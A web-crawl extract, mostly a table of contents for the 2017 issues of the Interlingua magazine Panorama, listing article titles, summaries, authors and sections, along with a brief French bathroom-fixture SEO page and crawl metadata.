contos\"||Th.||Libros|\n|17||Curiose conversationes||B.C. Sexton: \"Dece-duo conversationes\"||Th.||Libros|\n|17||Nove publicationes in interlingua||Libros|\n|17||Recipe Panorama digital!||Interlingua|\n|18||Trovata sensational cambia Pompeii||Le explosion de Vesuvio que coperiva Pompeii e Herculaneum sembla haber occurrite plus tarde que credite.||Breinstrup, Thomas||Scientia|\n|18||Apprende linguas usque 18 annos||Th.||Nota|\n|19||Mission avantiate va verso Mercurio||Th.||Scientia|\n|19||China planifica luna artificial||Th.||Nota|\n|19||Expertos vole salvar rhinos||Th.||Nota|\n|19||Universitate cambia sexo||Th.||Nota|\n|20+21||Un mus in le organo creava le canto de Natal le plus famose||Le 24 de decembre 1818, ante precisemente 200 annos, le mundo audiva pro le prime vice \"Stille Nacht\" in un ecclesia in Austria.||Breinstrup, Thomas||Viages|\n|22||Le cavo de aqua del Sol e del Luna||Traduction in interlingua: Italo Notarstefano||Litteratura|\n|23||Hìzr||Traduction in interlingua: Italo Notarstefano||Litteratura|\n|24||Gumma a masticar causava battalia||Th.||Le mundo actual|\n|24||Sposa mori post morte false||Th.||Le mundo actual|\n|24||Grandissime cucurbita de 590 kg||Th.||Le mundo actual|\n|24||Amsterdam remove litteras iconic||Th.||Le mundo actual|\n|25||Ponte longissime inaugurate||Th.||Le mundo actual|\n|25||Marcos german retorna in massa||Th.||Le mundo actual|\n|25||Titanic trovate in secrete||Th.||Le mundo actual|\n|25||Vacca de 1.400 kg un sensation||Th.||Le mundo actual|\n|25||Pecia del Luna vendite||Th.||Le mundo actual|\n|25||Puppa confundite con corpore||Th.||Le mundo actual|\n|26||Le pasta basta||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Gisella Koutsiou||Novas de nomines|\n|28||Panorama desira a omne lectores e lor familias un felice Natal||Interlingua|\n|28||Que es interlingua? Como contribuer||Interlingua|","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.interlingua.com\/panorama\/indices\/anno_2018\/","date":"2020-08-13T16:24:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739048.46\/warc\/CC-MAIN-20200813161908-20200813191908-00486.warc.gz","language":"ina","language_score":0.9704719782,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.970471978187561}","num_words":5208,"character_repetition_ratio":0.186,"word_repetition_ratio":0.032,"special_characters_ratio":0.264,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.975,"perplexity_score":6379.4,"cluster_detection":-1} +{"text":"Lavabo Salle De Bain Moderne\nLavabo Salle De Bain Moderne\nLavabo salle de bain moderne et design porcelanosa photo un salle de bain moderne et design porcelanosa 201212192014322l\nLavabo salle de bain moderne le meuble sous ides cratives archzinefr le meuble sous lavabo salle de bain gris moderne\nLavabo Salle De Bain Moderne | |","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/salledebains.me\/lavabo-salle-de-bain-moderne\/","date":"2019-05-25T05:42:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257889.72\/warc\/CC-MAIN-20190525044705-20190525070705-00076.warc.gz","language":"ina","language_score":0.4219871461,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4219871461391449, \"fra_Latn_score\": 0.3910317122936249, \"sco_Latn_score\": 0.03228966146707535, \"pfl_Latn_score\": 0.022085489705204964, \"lim_Latn_score\": 0.019340848550200462, \"nrm_Latn_score\": 0.017771631479263306, \"glg_Latn_score\": 0.010264803655445576}","num_words":94,"character_repetition_ratio":0.141,"word_repetition_ratio":0.212,"special_characters_ratio":0.216,"stopwords_ratio":0.181,"flagged_words_ratio":0.0,"lang_id_score":0.668,"perplexity_score":7300.9,"cluster_detection":-1} +{"text":"Iste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition. Columna 1 es le pagina, columna 2 le rubrica del articul(ett)o, columna 3 le subrubrica eventual, columna 4 le autor\/marca, columna 5 le typo de articulo.\n\n\nNo. 1\/2017, januario-februario\n|1||Interlingua in duo grande expositiones||Duo grande expositiones international va in 2017 presentar interlingua pro le publico.||Copertura|\n|1||Via secrete a India||Le entrata a India se trova ... in le centro de Paris.||Copertura|\n|1||\"Guai, illo parla interlingua!\"||Parlator es le nove robot in Internet que parla interlingua fluentemente. Le inventor revela como isto es possibile – e que ille expecta que le voces de Carla e Giorgio es capace de facer pro interlingua.||Copertura|\n|1||Parve prince popular||\"Le parve prince\" es le libro le plus comprate in 2016.||Copertura|\n|1||Foco finiva Titanic||Copertura|\n|1||Parolas presidential||Interlingua es un communication formidabile – utilisa lo, dice le presidente del UMI in su salute optimista pro un successose 2017.||Copertura|\n|1||Avante, interlingua!||Cinque paginas con tote le novas de interlingua.||Copertura|\n|1||Un futuro sin labor||Copertura|\n|2||\"Guai, le machina parla interlingua!\"||Dice \"bon die!\" a Parlator, un robot in Internet que parla interlingua fluentemente per le voce de Carla o Giorgio.||Breinstrup, Thomas||Novas de interlingua|\n|3||Como pote Parlator parlar ben interlingua?||Un explication del magia detra le voces de Carla e Giorgio.||Th.||Novas de interlingua|\n|4||30 annos – e in colores||Breinstrup, Thomas||Editorial|\n|5||Corpore sin capite cambiava frontiera||Nederland e Belgica ha excambiate pecias de terra post caso criminal.||Breinstrup, Thomas||Nova|\n|6||Omne continentes deveni plus humide||Il ha plus de aqua sur le globo, monstra nove studios.||Th.||Nova|\n|6||Panorama digital||Annuncio|\n|6||Practica interlingua||Annuncio|\n|7||Incendio enorme submergeva Titanic||Photographias usque ora incognoscite monstra tracias del incendio que debilitava le nave legendari, assi que le incontro con le iceberg deveniva catastrophic.||Breinstrup, Thomas||Nova|\n|8+9||Communication formidabile sin frontieras||Le parola al presidente||Mahé-Potet, Alix||Novas de interlingua|\n|9||Le regina de Svedia vide phantasmas||Haar, Ronald ter||Nova|\n|9||Anniversario digitalisa historia||Th.||Nota|\n|9||Celebration de figura designate||Th.||Nota|\n|9||Conversation: drone||Nota|\n|10||Le giraffa es in periculo||Th.||Nota|\n|10||Grassia animal in notas de banca||Th.||Nota|\n|10||Renovation del Turre Eiffel||Th.||Nota|\n|10||Cattos memora ben – si illos lo vole...||Le cattos memora toto e illos face le maneo contra nos per intention.||Kovács, Péter||Nova|\n|11||Interlingua in duo grande expositiones||Praga e Göteborg habera visitas.||Breinstrup, Thomas||Novas de interlingua|\n|12||Nove vice-presidente svedese||Novas de interlingua|\n|12||Plus de activitates in Svedia||Novas de interlingua|\n|12||Benvenite al universo del phantasia||Novas de interlingua|\n|12||Benvente al Café Interlingua||Novas de interlingua|\n|13||Benvenite a Scandinavia – e Vienna||Novas de interlingua|\n|13||Citationes del mense||Novas de interlingua|\n|14||1.400 explicationes in supplemento||Novas de interlingua|\n|14||Plus de software in interlingua||Novas de interlingua|\n|14||Joca chacos in interlingua||Novas de interlingua|\n|15||Novas false e linguas de controlo||Novas de interlingua|\n|15||Linux Mint explicate in interlingua||Novas de interlingua|\n|15||Apprende software in interlingua||Novas de interlingua|\n|16+17||Le passage secrete a India in le centro de Paris||Le capital francese cela multe perlas. Panorama invita a un visita in un altere mundo.||Martignon, Jean||Viages|\n|18+19||Le parve prince es le plus popular||Th.||Libros|\n|19||Capitulo 7 de Alice es preste||Th.||Libros|\n|19||Nove publicationes in interlingua||Libros|\n|20||Le parolas del mense||Breinstrup, Thomas||Le parolas del mense|\n|21||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|22+23||Como le senior Mazucha iva pro vendiar su offendite honor de marito||Traduction in interlingua: Onofrio Notarstefano||Hašek, Jaroslav (1883-1923)||Litteratura|\n|24||Le plus rapide visitator del mundo||Th.||Le mundo actual|\n|24||Prime astronauta moriva||Th.||Le mundo actual|\n|24||Poema per Anne Frank Vendite||Th.||Le mundo actual|\n|24||Remove nomines racista de locos||Th.||Le mundo actual|\n|25||Nove aeroporto in vento de proa||Th.||Le mundo actual|\n|25||Scala Espaniol risca clausura||Th.||Le mundo actual|\n|25||Portrait per Van Dyck retorna||Th.||Le mundo actual|\n|26||Un futuro libere de labor||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Italo Notarstefano||Novas de nomines|\n|28||Carmelo Serraino||Novas de nomines|\n|28||Åsmund Knutson Aukland||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 2\/2017, martio-april\n|1||Le computator es in interlingua||Traductores voluntari labora pro assecurar que tote le menus e messages del programmas es in interlingua. Isto es como placiar rails ante le traino in movimento.||Copertura|\n|1||Un strata famose||Copertura|\n|1||Interlingua exponite||Copertura|\n|1||Pyramide discoperite||Surprisa de 3.700 annos.||Copertura|\n|1||Nos parla del bicyclo||Ecce tote le vocabulario!||Copertura|\n|1||180 annos con le prime telegrapho||Le prime message inviate celebra jubileo – e pois on capturava un criminal e assisteva le regina.||Copertura|\n|1||Lege \"Le lineas\"||Novella horripilante per Horacio Quiroga||Copertura|\n|1||\"P\" pro polonese||Copertura|\n|2+3||Grande interesse pro interlingua in exposition lingual||Il esseva dur labor pro le gruppo de interlingua in Praga, quando le grande exposition de linguas esseva arrangiate in martio.||Breinstrup, Thomas||Novas de interlingua|\n|4||Si, monstra interlingua pro le publico!||Breinstrup, Thomas||Editorial|\n|5+6+7||Traducer software es como placiar rails ante le traino||Le labor de tornar tote le systema computatorial in interlingua es enorme – ma importante, explica un del traductores, qui gaude vider le progressos sur su proprie schermo.||Breinstrup, Thomas||Novas de interlingua|\n|8||Minus de rhinocerotes occidite||Th.||Nota|\n|8||Famose rocca ha disparite||Th.||Nota|\n|8||Libros dispare de bibliothecas||Th.||Nota|\n|8||Tonna de ebore confiscate in aeroporto||Tres personas arrestate pro contrabando.||Th.||Nova|\n|9||180 annos con le prime telegrapho||In junio 1837 esseva inviate le prime message per un telegrapho commercial. Plus tarde esseva capturate un criminal, e regina Victoria lo usava pro un communication spectacular.||Sorfleet, Richard W.||Nova|\n|10||Tresores antique retornate a Grecia||Un circulo de contrabandistas de commercio illegal con antiquitates esseva dissolvite e grande tresores confiscate in Germania. Ora illos ha essite retornate a Athenas.||Breinstrup, Thomas||Nova|\n|10||Lupos discoperite in Danmark||Th.||Nota|\n|11||Monte Everest debe esser mesurate||Expertos debe constatar, si le monte le plus alte del mundo ha diminuite.||Th.||Nova|\n|11||Insula artificial pro energia||Nota|\n|11||10 milliones svedeses||Nota|\n|11||Conversation actual: patientia||Nota|\n|12||Bernt Wallin ha morite||Stenström, Ingvar||Necrologia|\n|12||Nove dictionario danese cresce||Novas de interlingua|\n|12||Panorama digital||Annuncio|\n|13||Interlingua se presenta in schola||Novas de interlingua|\n|13||Capitulo 9 de Alice es preste||Novas de interlingua|\n|13||Grande dictionario progrede||Novas de interlingua|\n|14||Mini-vocabularios in multe linguas||Novas de interlingua|\n|14||Radio Interlingua con hospites virtual||Novas de interlingua|\n|15||Tertie edition de sculpturas||Th.||Libros|\n|15||Prophetas mancante es in via||Th.||Libros|\n|15||Anecdotas in poc menses||Th.||Libros|\n|15||Nove publicationes in interlingua||Libros|\n|16||Labyrintho||Passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|17||Le parolas del mense||Thema: Le bicycletta||Breinstrup, Thomas||Le parolas del mense|\n|18+19||Un strata in Barcelona||Un narration touristic de un del plus famose stratas in Europa.||Breinstrup, Thomas||Viages|\n|20||Pyramide de 3.700 annos discoperite||Dece lineas con hieroglyphicos sur un bloco de alabastro es intacte.||Breinstrup, Thomas||Scientia|\n|20||Chimpanzes rude ganiara in le fin||Brutalitate obviemente vale le pena.||Th.||Scientia|\n|21||Poeta hungare es honorate in Galles||Kovács, Péter||Scientia|\n|21||Statua de Ramses trovate||Nota|\n|21||Norvegia exporta su radios||Nota|\n|21||Conversation actual: exopero de fame||Nota|\n|22+23||Le lineas||Traduction in interlingua: Onofrio Notarstefano||Quiroga, Horacio||Litteratura|\n|23||Ama tu litteratura?||\"Mini-anthologia in interlingua\"||Annuncio|\n|24||Diamante vendite pro summa record||Th.||Le mundo actual|\n|24||Entrata gratuite sin slips||Th.||Le mundo actual|\n|24||Cavallos plus periculose que araneas||Th.||Le mundo actual|\n|24||Singapore es le plus costose||Th.||Le mundo actual|\n|25||Plus de personas mori per tabaco||Th.||Le mundo actual|\n|25||Gorilla celebra 60 annos||Th.||Le mundo actual|\n|25||Possibile vita sur luna de Saturno||Th.||Le mundo actual|\n|25||Musica de sposa regal presentate||Th.||Le mundo actual|\n|26||Allitteration polonese||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Sven Frank||Novas de nomines|\n|28||Cláudio Rinaldi||Novas de nomines|\n|28||Martin Lavallée||Novas de nomines|\n|28||Satoko Fujimoto Berger||Novas de nomines|\n\n\nNo. 3\/2017, maio-junio\n|1||500 annos con Luther||Le jubileo del reformation pote devenir un fonte de auro pro le parve urbe Wittenberg, ubi Martin Luther protestava contra le ecclesia catholic.||Copertura|\n|1||Benvenite a Berlin||Panorama guida al charmante capital german.||Copertura|\n|1||Inspiration a interlingua||Panorama presenta un mini-guida de trucs e inspiration pro facer le curso de interlingua plus vivente.||Copertura|\n|1||Kazakh in latino||Alphabeto cyrillic dispare.||Copertura|\n|1||Interlingua de Google||Un traduction, per favor!||Copertura|\n|1||Juncker: Anglese perde importantia||Le adeo britannic al Union Europee cambia le situation del linguas importante, dice chef del commission||Copertura|\n|1||Munda le spatio!||ESA vole remover periculose satellites morte||Copertura|\n|1||Un libro e tostator||Copertura|\n|2||Kazakhstan vole cambiar alphabeto||Le scriptura cyrillic dispare, e le alphabeto latin es reintroducite – ja ab 2018.||Breinstrup, Thomas||Nova|\n|3||Juncker: Anglese perde importantia in Europa||Le presidente del Commission Europee decideva parlar francese, quando ille presentava le stato actual del Union Europee.||Breinstrup, Thomas||Nova|\n|3||Constructores debe cognoscer francese||Th.||Nota|\n|4||Le lingua international como lingua secrete||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Africa crea un grande muro verde||21 paises african combatte le expansion del deserto Sahara||Breinstrup, Thomas||Nova|\n|5||Grattacelos cresce in London||Nota|\n|6||Curte historias pro le traino||Th.||Nota|\n|6||Nokia e Apple de accordo||Th.||Nota|\n|6||Conversation actual: reformation||Nota|\n|6+7||Confrontation ante 500 annos deveni un fonte de auro||Le urbe german Wittenberg celebra in grado extraordinari que Martin Luther clavava su famose 95 theses la pro confrontar le ecclesia.||Breinstrup, Thomas||Nova|\n|8||Creol german es examinate in detalio||Le sol lingua creol basate sur germano appareva ante 120 annos in Nove Guinea. Finalmente illo es documentate.||Breinstrup, Thomas||Nova|\n|8||Amazon accepta demandas de e-libros||Th.||Nota|\n|9||Le mar cresce plus||Le consequentias climatic es drasticamente subestimate. Decision de Trump causa forte reactiones.||Breinstrup, Thomas||Nova|\n|9||Minus de japoneses||Th.||Nota|\n|9||India habera le plus de gente||Th.||Nota|\n|9||Conversation actual: hereditage mundial||Nota|\n|10+11||Mini-guida a cursos creative||Un collection de bon ideas, trucs e inspiration pro facer le curso de interlingua plus vivente.||Breinstrup, Thomas||Novas de interlingua|\n|12||Italia cessa producer monetas||Th.||Nota|\n|12||Barriera de corallos in periculo||Th.||Nota|\n|12||Conversation actual: Palma de auro||Nota|\n|12||Donos cercate pro salvar Notre-Dame||Le cathedral parisian es in periculo, ma il va costar 100 milliones de euros restaurar lo||Breinstrup, Thomas||Nova|\n|13||Facebook in interlingua, per favor||Novas de interlingua|\n|13||Interlingua in le supermercato!||Novas de interlingua|\n|13||Parlator es actualisate||Novas de interlingua|\n|13||Introduction a Linux Mint actualisate||Novas de interlingua|\n|13||Desiro danese: multe membros||Novas de interlingua|\n|14||\"Le parlator\" ha devenite poesia||Novas de interlingua|\n|14||Reelectiones – ma a nove postos||Novas de interlingua|\n|14||Interlingua melior que espaniol||Novas de interlingua|\n|15||Interlingua al labor||Novas de interlingua|\n|15||Paolo Castellina 65 annos||Novas de interlingua|\n|16||Plus de grande homines historic||Toma Macovei: \"Le vita anecdotic del homines illustre II\"||Th.||Libros|\n|16||Interlingua a bibliotheca tchec||Th.||Libros|\n|16||Nove publicationes in interlingua||Libros|\n|17||Le parolas del mense||Libro | Tostator | Retro e detra||Breinstrup, Thomas||Le parolas del mense|\n|18+19||Contrastos con charme in Berlin||Le capital german continua poter esser explorate, e on desira retornar||Breinstrup, Thomas||Viages|\n|20||Besonio urgente de mundar le spatio||Il ha ora tante immunditias in orbita circum le Terra que satellites es in periculo, dice ESA||Breinstrup, Thomas||Scientia|\n|21||Maladias tropical perde lor vita||Sempre minus de homines es contaminate con le periculose maladias tropical, gratias a collaboration e nove medicinas||Th.||Scientia|\n|21||Rege de vikinges disparite||Th.||Nota|\n|21||Germania testa sol artificial||Th.||Nota|\n|21||Conversation actual: discurso de odio||Nota|\n|22+23||Discursos re le moneta||Traduction in interlingua: Onofrio Notarstefano||Henry, O.||Litteratura|\n|23||plus verde||Krause, Catherine B.||Litteratura|\n|23||Ama tu litteratura?||Litteratura|\n|24||A revider al monetas in junio||Th.||Le mundo actual|\n|24||Le prime patatas costose||Th.||Le mundo actual|\n|24||Milliardario dona su moneta||Th.||Le mundo actual|\n|24||Lectura in aere libere in Berlin||Th.||Le mundo actual|\n|25||James Bond ha morite||Th.||Le mundo actual|\n|25||Multes publica lor proprie libros||Th.||Le mundo actual|\n|25||Granfilio de Stalin mori||Th.||Le mundo actual|\n|25||Jecta via le vetere Stradivarius!||Th.||Le mundo actual|\n|26||Le interlingua de Google||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Dan Sterup||Novas de nomines|\n|28||Le Union Norvegian pro Interlingua||Novas de nomines|\n|28||Esko Kangas||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 4\/2017, julio-augusto\n|1||Benvenite al conferentia de interlingua in Las Palmas||Le Union Mundial pro Interlingua invita a un conferentia in un nove forma in un loco popular.||Copertura|\n|1||Quatro ferryboats in un die||Panorama prendeva mini-vacantias e explorava un nove mundo surprendente: un tour de dominica circum un fiord danese.||Copertura|\n|1||Enorme iceberg pote causar un chaos||Glaciero in Antarctica perde iceberg duo vices si grande como Luxemburg e risca ora collaber.||Copertura|\n|1||Le nove auro es totalmente blanc||Melior batterias pote facer un del paises pocre del mundo a in un nove Arabia Saudita.||Copertura|\n|1||Tetragrammas in -ina||Le chronica explora un peculiaritate lingual.||Copertura|\n|1||\"Le ursa\"||Copertura|\n|2+3||Tres conferentias de interlingua in Las Palmas in octobre||Le Union Mundial pro Interlingua invita a un conferentia in un nove forma – in un location popular.||Breinstrup, Thomas||Conferentia de interlingua|\n|2||Tres conferentias||Th.||Conferentia de interlingua|\n|3||Ecce le precios – tu combina||Th.||Conferentia de interlingua|\n|3||Mini-portrait – le hotel||Th.||Conferentia de interlingua|\n|4||Inspiration a interlingua ab linguas minor||Breinstrup, Thomas||Editorial|\n|5||China vole crear nove Route de Seta||Un rete de routes commercial debe transversar Asia con China como base.||Breinstrup, Thomas||Nova|\n|6||Photos gigante de Groenlandia||Th.||Nota|\n|6||7,7 milliardos manca||Th.||Nota|\n|6||Conversation actual: traffico de humanos||Nota|\n|6||Mustachio de Dalí intacte in su tumba||Tests debe acclarar, si le artista esseva le patre de un infante, hodie 61 annos de etate.||Th.||Nova|\n|7||Libros pro un bon estate||Visita www.interlingua.com\/litteratura e ordina tu favoritos – e face lo hodie!||Annuncio|\n|8+9||Le nove auro es totalmente blanc||Le besonio de melior batterias ha durante un anno duplicate le precio del ingrediente le plus importante, carbonato de lithium. Le material es describite como le nove auro e pote facer un del paises povre del mundo a in un nove Arabia Saudita.||Breinstrup, Thomas||Nova|\n|10||Pandas chinese in casas hollandese||Jardin zoologic construe edificios in stilo chinese pro su nove residentes.||Haar, Ronald ter||Nova|\n|10||Finnese e islandese non official||Th.||Nota|\n|11||Libros pro un bon estate||Visita www.interlingua.com\/litteratura e ordina tu favoritos – e face lo hodie!||Annuncio|\n|12||Italia cessa producer monetas||Th.||Nota|\n|12||UNESCO discute periculos||Th.||Nota|\n|12||Conversation actual: tourista spatial||Nota|\n|12||Firma private vole retornar al Luna||Un compania vole developpar un flotta de naves spatial robotic pro atterrar sur le Luna – e ganiar un premio.||Breinstrup, Thomas||Nova|\n|13||Plus de signos in interlingua||Novas de interlingua|\n|13||\"Tabacheria\" in interlingua||Novas de interlingua|\n|13||\"Missa del gallo\" in interlingua||Novas de interlingua|\n|13||Curso interactive in interlingua||Novas de interlingua|\n|14||Humor de Star Wars in interlingua||Novas de interlingua|\n|14||Humor in interlingua||Novas de interlingua|\n|14||Nove video original con robatores||Novas de interlingua|\n|15||Dictionario in linea con interlingua||Novas de interlingua|\n|15||Plus de materiales pro cursos||Novas de interlingua|\n|15||Cursos in multe linguas||Novas de interlingua|\n|16||Quatro libros retorna a vender||Th.||Libros|\n|16||Explora le collection cultural||Th.||Libros|\n|16||Nove publicationes in interlingua||Libros|\n|17||Le parolas del mense||Breinstrup, Thomas||Le parolas del mense|\n|18+19||Un dominica con quatro ferryboats||A vices on es surprendite de que es possibile experientias justo ante su oculos.||Breinstrup, Thomas||Viages|\n|20+21||Enorme iceberg pote causar chaos||Un iceberg duo vices si grande como Luxemburg se ha liberate de Antarctica. Scientistas time un collapso del glaciero.||Breinstrup, Thomas||Scientia|\n|21||Barriera de corallos in periculo||Th.||Nota|\n|21||Tasca pro pulvere del Luna vendite||Th.||Nota|\n|21||Conversation actual: novas false||Nota|\n|22+23||Le ursa||Notarstefano, Italo||Litteratura|\n|23||Proverbios||Litteratura|\n|23||Quiz: Le café litterari||Litteratura|\n|23||Ama tu litteratura?||Litteratura|\n|24||Patre de Paddington le Urso mori||Th.||Le mundo actual|\n|24||Finneses gania cursa con sposa||Th.||Le mundo actual|\n|24||Nulle supercomputator||Th.||Le mundo actual|\n|25||Compra tu proprie citate scotic||Th.||Le mundo actual|\n|25||Duo nove libros con Potter||Th.||Le mundo actual|\n|25||Bibitores de caffe vive longemente||Th.||Le mundo actual|\n|25||Machina secrete de Hitler vendite||Th.||Le mundo actual|\n|26||Tetragrammas que fini con -ina||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Eduardo Ortega González||Novas de nomines|\n|28||Wikipedia in interlingua||Novas de nomines|\n|28||Ruud Harmsen||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 5\/2017, septembre-octobre\n|1||Benvenite al futuro del presente||Panorama reporta del frontiera de electronica pro le casa.||Copertura|\n|1||Septe dies in interlingua||Conferentia active in octobre.||Copertura|\n|1||Traductiones abundante||Plus de traductiones in le UE||Copertura|\n|1||Interlingua in feria||Grande stand in exposition scandinave de libros.||Copertura|\n|1||Positiones de dormir||Copertura|\n|1||Adeo a Cassini||Satellite inviava su ultime signal in mission historic.||Copertura|\n|1||Big Ben es ora silente||Copertura|\n|1||Chaos catalan||Referendum de independentia causa problemas.||Copertura|\n|1||Le joco del arte||Copertura|\n|2+3||Traductiones plus numerose in le UE||Traductores e interpretes ha plus a facer – ma con grande differentias.||Breinstrup, Thomas||Nova|\n|2||Interpretation in le Union Europee||Factos|\n|3||Traduction in le Union Europee||Factos|\n|3||Le linguas official||Factos|\n|4||Io ha comenciate notar omne mi parolas...||Breinstrup, Thomas||Editorial|\n|5+6+7+8||Top 9 del eldorado europee de electronica||Ecce le novas le plus grande del exposition europee de electronica in Berlin in le fin de augusto.||Breinstrup, Thomas||Nova|\n|9||Ponte controversial obtene arco gigante||Russia construe le ponte le plus longe verso Crimea.||Th.||Nova|\n|9||Paris e Los Angeles gania jocos||Th.||Nota|\n|9||Dece annos con #||Th.||Nota|\n|9||Conversation actual: le joias del vita||Nota|\n|10||Independentia crea problemas||Le referendum le 1 de octobre in Catalonia se ha developpate in un lucta chaotic inter le politicos.||Breinstrup, Thomas||Nova|\n|10||Le majoritate es cremate||Th.||Nota|\n|11||Big Ben tace pro quatro annos||Le famose campanil in le centro de London debe esser renovate e assi non va sonar de novo ante 2021.||Breinstrup, Thomas||Nova|\n|11||Pausas de Big Ben||Factos|\n|11||Practica interlingua||Annuncio|\n|12||Caffe prolonga le vita||Th.||Nota|\n|12||\"Dinosauro Frankenstein\" solvite||Th.||Nota|\n|12||Conversation actual: oculo de huracan||Nota|\n|12||Le angelo del morte escappava duo vices||Josef Mengele esseva duo vices quasi arrestate – ma le chassa a un nazista plus grande salvava su vita.||Th.||Nova|\n|13||Simia gania moneta post su \"selfie\"||Un simia indonesian ha assecurate subventiones economic a su reserva, proque illo premeva le button de un camera e prendeva un selfie famose.||Breinstrup, Thomas||Nova|\n|13||Archeologos face trovata incredibile||Th.||Nota|\n|14||Dictionarios tchec sub preparation||Novas de interlingua|\n|14||Cursos in Göteborg e Copenhagen||Novas de interlingua|\n|14||Nove album musical in interlingua||Novas de interlingua|\n|14||Interlingua in signales Morse||Novas de interlingua|\n|15||Campania german pro interlingua||Novas de interlingua|\n|15||Pensatas in interlingua – in video||Novas de interlingua|\n|15||Nove publicationes in interlingua||Novas de interlingua|\n|16||Podrazil moriva||Breinstrup, Thomas||Necrologia|\n|17||Interlingua se misce con libros in feria||Grande stand in le exposition le plus grande de libros in Scandinavia durante cinque dies.||Breinstrup, Thomas||Novas de interlingua|\n|18||Septe dies pro le bon de interlingua||Le conferentia international in octobre va de novo sublinear proque interlingua es un lingua multo vivente que merita un publico multo plus grande.||Breinstrup, Thomas||Conferentia de interlingua|\n|19||Le parolas del mense||Breinstrup, Thomas||Le parolas del mense|\n|20+21||Adeo a Cassini post mission successose||In septembre finiva un del missiones le plus valorose in historia del astronautica.||Breinstrup, Thomas||Scientia|\n|21||Rhinocerote rar nascite||Th.||Nota|\n|21||Uncia solmente \"vulnerabile\"||Th.||Nota|\n|21||Le zero ha devenite plus ancian||Th.||Nota|\n|21||Conversation actual: sonda spatial||Nota|\n|22+23||Le joco del arte||Traduction in interlingua: Italo Notarstefano||Henry, O.||Litteratura|\n|23||Ama tu litteratura?||Litteratura|\n|24||Casa de Harry Potter a vender||Th.||Le mundo actual|\n|24||Enorme omelette pro protestar||Th.||Le mundo actual|\n|24||Pluvia surprendente evelia deserto||Th.||Le mundo actual|\n|24||Parco de flores in le deserto||Th.||Le mundo actual|\n|25||Papiliones dispare in le paisage||Th.||Le mundo actual|\n|25||Nove record de guacamole||Th.||Le mundo actual|\n|25||Torta ancian in plen forma||Th.||Le mundo actual|\n|25||Non le filia de Dalí||Th.||Le mundo actual|\n|25||Kenya prohibi saccos de plastico||Th.||Le mundo actual|\n|26||Positiones de dormir||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Ruud Harmsen||Novas de nomines|\n|28||Jean Martignon||Novas de nomines|\n|28||Carmelo Serraino||Novas de nomines|\n|28||Stanley Mulaik||Novas de nomines|\n|28||Cláudio Rinaldi||Novas de nomines|\n|28||Dan Sterup||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua\n\n\nNo. 6\/2017, novembre-decembre\n|1||Interlingua in paradiso||28 paginas con toto super le conferentia||Copertura|\n|1||Grande reporto ab le 22e conferentia de interlingua||Copertura|\n|2+3||Grande successo in Gran Canaria con conferentia||Interlingua ha un forte futuro, monstra le conferentia optimistic in le fin de octobre||Breinstrup, Thomas||Conferentia de interlingua|\n|4||Io pote garantir que interlingua es complete!||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Prepara le proxime conferentia in 2019||Tosto le datas del 23e conferentia international de interlingua in 2019 pote esser annunciate.||Breinstrup, Thomas||Conferentia de interlingua|\n|5||Information active||Th.||Conferentia de interlingua|\n|6||Las Palmas voca – le mundo responde||Th.||Conferentia de interlingua|\n|7||Expertos distribueva experientias||Inspiration ab tres grande expositiones public con interlingua||Th.||Conferentia de interlingua|\n|7||Debatto del rolo del anglese||Th.||Nota|\n|7||Interlingua.com plus moderne||Th.||Nota|\n|7||Conversation actual: workshop||Nota|\n|8||Magia assiste dictionarios||Th.||Nota|\n|8||Introduction a Wikipedia||Th.||Nota|\n|8||Conversation actual: exposition||Nota|\n|8+9||Dictionarios es importantissime||Le labor de publicar e actualisar dictionarios de interlingua debe esser prioritate.||Th.||Conferentia de interlingua|\n|9||Le bon dictionario||Factos|\n|9||Multe dictionarios preparate||Th.||Conferentia de interlingua|\n|10||Radio Interlingua in Las Palmas||Conferentia de interlingua|\n|10||Collaboration pro finir \"Alice\"||Conferentia de interlingua|\n|10||In interlingua, naturalmente||Conferentia de interlingua|\n|10||Jocos de parolas||Conferentia de interlingua|\n|11||Firefox preste in interlingua||Conferentia de interlingua|\n|12||Curso de interlingua in duo universitates||Juvene studiantes active vole diffunder interlingua||Th.||Conferentia de interlingua|\n|13||Plus de \"Pensatas in interlingua\"||Novas de interlingua|\n|13||Nove representante in Tchechia||Novas de interlingua|\n|14||Enthusiasta a 70: Madeleine Mahé||Th.||Anniversario|\n|14||Polyglotto de 70: Robert Pontnau||Th.||Anniversario|\n|15||Calendario pro 2018 es preste||Novas de interlingua|\n|15||Assemblea annual in Francia||Novas de interlingua|\n|15||Nove publicationes in interlingua||Novas de interlingua|\n|15||Responsas al quiz de Las Palmas||Novas de interlingua|\n|15||Plus de signos in interlingua||Novas de interlingua|\n|15||\"Interlingua Today\" a disposition||Novas de interlingua|\n|16+17||Le grande quiz de Las Palmas||Platter, Kenneth||Conferentia de interlingua|\n|18+19||Tour de Gran Canaria||Reportage in 